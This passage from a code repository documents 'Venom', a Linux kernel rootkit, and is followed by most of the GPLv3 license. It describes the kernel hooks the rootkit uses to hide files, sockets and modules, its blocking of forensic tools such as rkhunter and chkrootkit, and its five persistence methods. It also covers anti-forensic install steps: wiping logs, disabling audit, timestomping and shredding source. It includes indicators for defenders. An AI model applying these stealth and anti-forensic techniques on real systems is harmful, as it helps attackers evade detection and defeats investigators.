| 211 | ⚠ [WARN] BLOCKED deletion attempt: /var/tmp/.X11-cache | PID:1234 (rm) UID:1000 212 | ``` 213 | 214 | Screenshot 2025-10-12 145445 215 | 216 | 217 | ### IOCTL Protection (`ioctl`) 218 | 219 | **What it does:** Blocks device control operations that could expose the rootkit. 220 | 221 | Forensic tools use `ioctl` to probe devices and gather system info. Venom blocks: 222 | - Network interface enumeration (`SIOCGIFCONF`) 223 | - Terminal manipulation on protected TTYs 224 | - Ptrace-related ioctls 225 | 226 | 227 | ### Log Commands (`execve`) 228 | 229 | **What it does:** Logs enumeration, defensive commands running on the system actively, hence, protecting the system. 230 | 231 | - Blocks forensics tools such as `chkrootkit, rkhunter, lynis, tiger, unhide, volatality` 232 | - Logs commands that use `python, node, java, php, curl, tcpdump` and so on 233 | 234 | 235 | 236 | ## Installation & Persistence 237 | 238 | The installer (`implant.sh`) is pretty aggressive about staying persistent: 239 | 240 | **5 different methods:** 241 | 1. **Systemd service** - Loads on boot 242 | 2. **rc.local hook** - Backup for older systems 243 | 3. **Cron job** - Checks every 30 minutes, auto-reloads 244 | 4. **modules-load.d** - Native kernel loading 245 | 5. **initramfs hook** - Early boot, survives kernel updates 246 | 247 | Even if an attacker finds and removes one method, the others will bring it back. 248 | 249 | **Anti-forensics during install:** 250 | - Clears all logs (auth.log, syslog, journal) 251 | - Disables audit system 252 | - Timestomps files to look 2 years old 253 | - Shreds source code after compilation 254 | - Uses disguised names (`.systemd-journal-cache.ko`) 255 | 256 | --- 257 | 258 | 259 | 260 | 261 | *Built for educational purposes. Use responsibly.* 262 | -------------------------------------------------------------------------------- /docs/syscalls.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | ### Syscalls / Kernel hooks monitored by Venom 5 | 6 | # Syscalls / Kernel hooks monitored by Venom (expanded) 7 | 8 | 9 | | Hook symbol | High-level purpose | Why Venom hooks it (intended behavior) | Defender notes / what to look for | 10 | | --------------------------------------------------------------------------------------- | ------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | 11 | | `__x64_sys_write` | Kernel entry for `write(2)` → persistent output to files, pipes, fds | Intercept writes to protect internal tracing state (e.g., prevent ftrace / logging tampering) or to monitor/modify data leaving the host | Unexpected interception of write can alter logs; look for unusual file descriptor handling, unexpected buffering, or extra memcpy-like behavior. | 12 | | `__x64_sys_read` | Kernel entry for `read(2)` → reading from files, pipes, sockets | Intercept reads to protect ftrace and internal state (detect or sanitise reads that would reveal Venom internals) | Modified read return values, timing anomalies, or unusual reads on `/proc` devices. | 13 | | `__x64_sys_pread64` | Positional `read` variant (pread64) | Catch direct positional reads that may probe binary regions or debugfs entries without changing file offset (used by analysis tools) | Repeated positional reads of kernel symbols or binary sections; mismatches in offsets vs. expected behavior. | 14 | | `__x64_sys_pwrite64` | Positional `write` variant (pwrite64) | Intercept writes that won't change file offsets (e.g., targeted log tampering) | Partial-file writes to logs or binaries without corresponding open/truncate activity. | 15 | | `__x64_sys_openat` | Open a file relative to a directory fd — opens device nodes, /proc, etc. | Observe/enforce policies when sensitive files or device nodes are opened (e.g., kernel symbols, debugfs) | Extra permission/time checks on open; unusual caller stacks opening `/proc` or `/sys`. | 16 | | `__x64_sys_socket` | Create endpoints for network comms (TCP/UDP/RAW) | Monitor socket creation to detect outbound channels or covert listeners | Sudden raw sockets or unusual families; sockets created by non-network daemons. | | 17 | | `tcp4_seq_show` / `tcp6_seq_show` | `/proc/net/tcp*` rendering | Hide network socket listings (IPs/ports) | Cross-check `ss`/pcap vs. `/proc/net` contents. | 18 | | `udp4_seq_show` / `udp6_seq_show` | `/proc/net/udp*` rendering | Hide UDP listings | Same as TCP cross-checks. | 19 | | `tpacket_rcv` | AF_PACKET/TPACKET receive path (raw packet capture) | Intercept packet receive to filter forensic captures | Compare multiple capture points (host vs. bridge). | 20 | | `__x64_sys_getdents64` | Directory enumeration for `readdir` / `ls` | Hide files/dirs and detect other hide attempts | Filtered listings, inode-count mismatches, programs repeatedly scanning directories. | 21 | | `__x64_sys_getdents` | 32-bit directory enumeration compatibility | Same as getdents64 — catch 32-bit tools / compat layers | Include 32-bit compatibility in audits. | 22 | | `__x64_sys_mount` | Mount filesystems / bind mounts | Observe/filter mounts to affect visibility and propagation | Missing/inconsistent entries in `/proc/mounts`, transient mounts. | 23 | | `__x64_sys_move_mount` | Move mounts / namespaced mounts | Detect moves used to hide files via mount namespaces | Mounts that appear/disappear quickly; differences across namespaces. | 24 | | `__x64_sys_unlinkat` | Remove a file/dir entry | Detect or block deletions of audit artifacts or evidence | Sudden unlink attempts on logs; unlink by unexpected processes. | 25 | | `__x64_sys_renameat` | Rename/move filesystem entries | Track renames used to obfuscate evidence | Renames around timestamps of suspicious activity. | 26 | | `__x64_sys_truncate` / `__x64_sys_ftruncate` | Shrink/clear files | Detect zeroing-out of logs or dumps | Unexpected file size drops without matching legitimate activity. | 27 | | `__x64_sys_statx` | File metadata/stat retrieval | Detect probes for file metadata that could reveal hidden artifacts | Repeated/stat access on kernel-related or hidden files; altered stat results. | 28 | | `__x64_sys_prctl` | Process controls (set name, dumpable, seccomp, etc.) | Hook to detect attempts to change process properties that hide behavior (e.g., setting dumpable=0 or changing name) | Unexpected `prctl` calls setting non-default flags (e.g., `PR_SET_DUMPABLE`, `PR_SET_NAME`). | 29 | | `__x64_sys_ptrace` | Debugging / process memory inspection | Monitor debugger/forensic probes or block ptrace against Venom components | `ptrace` attempts from unexpected UIDs or from non-parent PIDs. | 30 | | `__x64_sys_process_vm_readv` / `__x64_sys_process_vm_writev` | Cross-process memory read/write | Detect direct cross-process memory access (used by debuggers/forensics or offensive tools) | Suspicious read/writev between unrelated processes, especially to protected processes. | 31 | | `__x64_sys_ioctl` | Device/driver-specific control operations | Block or intercept ioctls used by anti-rootkit drivers or forensic probes | Abnormal/blocked ioctl calls against tracing devices or `/dev/*` used by security tools. | | 32 | | `__x64_sys_kexec_load` | Load a new kernel (kexec) | Alert on attempts to change runtime kernel image | Unscheduled kexec attempts or kexec from non-admin contexts. | 33 | | `__x64_sys_init_module` / `__x64_sys_finit_module` | Load a kernel module | Block/detect insertion of competing kits or defensive drivers | Failed module loads, missing `lsmod` entries, suspicious module paths. | 34 | | `__x64_sys_delete_module` | Unload a kernel module | Prevent removal of Venom or detect module-removal attempts | Failed unloads, module entries that refuse to disappear. | 35 | | `__x64_sys_kill` | Send signals to processes | Intercept signals aimed at terminating Venom components | Repeated kill attempts or strange signal sequences against protected PIDs. || 36 | 37 | * Some audit subsystem calls are less straightforward to hook directly depending on kernel version — list included for defender completeness. 38 | 39 | --- 40 | 41 | 42 | ### Secure Logging System 43 | 44 | Venom implements a **stealth logging mechanism** that operates completely independently from kernel's `dmesg`/`printk`. This prevents attackers from discovering operational details through standard kernel log inspection. 45 | 46 | ### How it works 47 | 48 | Instead of using `printk()` which writes to the kernel ring buffer (visible via `dmesg`), Venom uses a custom logging system that: 49 | 50 | - Writes to a hidden file location: `/var/tmp/.X11-cache` (disguised as a system cache file) 51 | - Uses mutex-protected writes to prevent race conditions 52 | - Provides severity levels with visual indicators (✓ ✗ ⚠ ☠) 53 | - Completely bypasses kernel logging infrastructure 54 | 55 | ### Log Levels 56 | 57 | | Symbol | Level | Description | 58 | |--------|-------|-------------| 59 | | ✓ | INFO | Normal operations, successful hooks | 60 | | ⚠ | WARN | Suspicious activity detected | 61 | | ✗ | ERROR | Hook failures, errors | 62 | | ☠ | CRIT | Critical failures, security breaches | 63 | 64 | ### Viewing Logs 65 | 66 | **Plain text:** 67 | ```bash 68 | sudo cat /var/tmp/.X11-cache 69 | ``` 70 | 71 | - The file `/var/tmp/.X11-cache` is also hidden from the `getdents` hook 72 | 73 | --- 74 | 75 | #### Quick guidance for readers (defensive) 76 | - This table documents *which kernel touchpoints* Venom monitors and *why*. 77 | - If you are a defender: audit for the indicators in the rightmost column (e.g., mismatched `/proc` output, failed module loads, anomalies in read/write behavior, and differences between passive packet captures and `/proc/net`). 78 | - If you are a researcher: use isolated, instrumented environments (air-gapped VMs, offline snapshots) and follow responsible disclosure and legal guidelines before experimenting. 79 | 80 | 81 | --- 82 | 83 | > If you stare at the kernel long enough… it starts staring back 84 | 85 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE 